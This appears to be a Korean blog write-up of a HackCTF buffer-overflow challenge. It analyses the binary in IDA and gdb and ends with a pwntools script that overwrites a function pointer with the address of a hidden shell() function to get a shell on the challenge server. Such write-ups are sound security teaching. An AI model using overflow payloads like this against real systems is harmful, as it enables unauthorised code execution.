Write-up/HACKCTF

HACKCTF - Basic_BOF #2

da1seun9 2020. 11. 30. 20:08

내 환경

ubuntu 20.04

문제

이전 문제와 마찬가지로 BOF 문제이며 똑같이 접속 주소와 bof_basic2라는 파일을 준다.
다운로드 해서 보도록 하자 (리눅스에서 루트권한이 아닌경우 실행권한 제대로 줘서 실행하도록 한다.)

어.............. 이전 문제랑 똑같이 a를 입력했더니 저렇게 뜬다. ida-hexray와 gdb로 분석을 해보자

프로그램 분석

먼저 ida-hexray로 main함수를 보도록 한다.

ida - main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}

gdb

다음은 gdb로 main을 보자.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080484cd <+0>:    lea    ecx,[esp+0x4]
   0x080484d1 <+4>:    and    esp,0xfffffff0
   0x080484d4 <+7>:    push   DWORD PTR [ecx-0x4]
   0x080484d7 <+10>:    push   ebp
   0x080484d8 <+11>:    mov    ebp,esp
   0x080484da <+13>:    push   ecx
   0x080484db <+14>:    sub    esp,0x94
   0x080484e1 <+20>:    mov    DWORD PTR [ebp-0xc],0x80484b4
   0x080484e8 <+27>:    mov    eax,ds:0x804a040
   0x080484ed <+32>:    sub    esp,0x4
   0x080484f0 <+35>:    push   eax
   0x080484f1 <+36>:    push   0x85
   0x080484f6 <+41>:    lea    eax,[ebp-0x8c]
   0x080484fc <+47>:    push   eax
   0x080484fd <+48>:    call   0x8048350 <fgets@plt>
   0x08048502 <+53>:    add    esp,0x10
   0x08048505 <+56>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048508 <+59>:    call   eax
   0x0804850a <+61>:    mov    eax,0x0
   0x0804850f <+66>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048512 <+69>:    leave  
   0x08048513 <+70>:    lea    esp,[ecx-0x4]
   0x08048516 <+73>:    ret    
End of assembler dump.

둘이 비교하면서 보다보니 bin/bash를 실행하는 부분이 나오지 않아서 다른 함수가 있나 찾아보았다.
ida로도 볼 수 있지만 gdb에서 info func하면 사용된 함수들이 나온다.

gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x08048310  _init
0x08048350  fgets@plt
0x08048360  puts@plt
0x08048370  system@plt
0x08048380  __libc_start_main@plt
0x08048390  __gmon_start__@plt
0x080483a0  _start
0x080483d0  __x86.get_pc_thunk.bx
0x080483e0  deregister_tm_clones
0x08048410  register_tm_clones
0x08048450  __do_global_dtors_aux
0x08048470  frame_dummy
0x0804849b  shell
0x080484b4  sup
0x080484cd  main
0x08048520  __libc_csu_init
0x08048580  __libc_csu_fini
0x08048584  _fini

이중 shell이라는 이름의 함수가 눈에 띄어서 한번 봤다.

// ida //

int shell()
{
  return system("/bin/dash");
}
// gdb //

gdb-peda$ disas shell 
Dump of assembler code for function shell:
   0x0804849b <+0>:    push   ebp
   0x0804849c <+1>:    mov    ebp,esp
   0x0804849e <+3>:    sub    esp,0x8
   0x080484a1 <+6>:    sub    esp,0xc
   0x080484a4 <+9>:    push   0x80485a0
   0x080484a9 <+14>:    call   0x8048370 <system@plt>
   0x080484ae <+19>:    add    esp,0x10
   0x080484b1 <+22>:    nop
   0x080484b2 <+23>:    leave  
   0x080484b3 <+24>:    ret    
End of assembler dump.

보니 시스템 함수를 호출한다.

이때쯤에 main에서 v5를 정의할 때 쓴 sup함수는 뭔지 궁금해진다.
확인해보자

int sup()
{
  return puts(&s);
}

우선 ida에서는 s를 보여주는 함수로 나온다.

gdb-peda$ disas sup
Dump of assembler code for function sup:
   0x080484b4 <+0>:    push   ebp
   0x080484b5 <+1>:    mov    ebp,esp
   0x080484b7 <+3>:    sub    esp,0x8
   0x080484ba <+6>:    sub    esp,0xc
   0x080484bd <+9>:    push   0x80485ac
   0x080484c2 <+14>:    call   0x8048360 <puts@plt>
   0x080484c7 <+19>:    add    esp,0x10
   0x080484ca <+22>:    nop
   0x080484cb <+23>:    leave  
   0x080484cc <+24>:    ret    
End of assembler dump.

gdb-peda$ x/s 0x80485ac
0x80485ac:    "하아아아아아아아아앙"

gdb에서는 put함수를 호출하면서 0x80485ac를 push하는데 그게 뭔지 알아보니 main의 변수 s와는 다른거였다.

따라서 BOF를 사용하여 v5 에 접근한다음에 v5에 shell함수의 주소를 넣으면 v5함수가 실행하면서 shell함수를 불러올 것이다.

결과

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3001)

e = ELF("./bof_basic2")

pay = "A" * 128 + "\x9b\x84\x04\x08"

p.sendline(pay)

p.interactive()

완료

'Write-up > HACKCTF' 카테고리의 다른 글

HACKCTF - 내 버퍼가 흘러넘친다!!!  (0) 2020.12.02
HACKCTF - Basic_BOF #1  (2) 2020.11.30